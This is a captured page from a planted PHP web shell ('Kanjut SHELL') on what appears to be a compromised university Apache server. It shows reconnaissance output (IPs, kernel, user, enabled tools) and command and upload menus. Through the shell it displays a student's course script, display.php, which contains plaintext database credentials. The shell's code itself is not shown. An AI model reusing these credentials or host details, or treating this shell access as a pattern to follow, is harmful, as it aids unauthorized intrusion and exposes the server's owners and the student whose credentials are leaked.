Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.108.43
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/bdstamour/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bdstamour/public_html/display.php
<!--	P.174 action php script to display the table	-->

<html><head><title>
Display the table contents
</title></head><body><p>
<?php
	$host = 'localhost';
	$user = 'bdstamour';
	$passwd = 'cs480';
	$database = 'bdstamour';

	$connect = mysqli_connect($host, $user, $passwd);
	$table_name = 'Products';

	$query = "select * from Products";
	print "The Query is <i>$query</i><br>";

	mysqli_select_db($connect, $database);

	$result_id = mysqli_query($connect, $query);
	
	if($result_id)
	{	// p.175 line 16
		print '<table border=1>';
		print '<th>Num<th>Product<th>Cost<th>Weight<th>Count';
		while ($row = mysqli_fetch_row($result_id))
			{	print '<tr>';
				foreach ($row as $field)
					print "<td>$field</td> ";
				print '</tr>';
			}
	} 
	else
		print "Fail.<p>";
	mysqli_close ($connect);
?>
</body></html>

Stv3n404 - 2023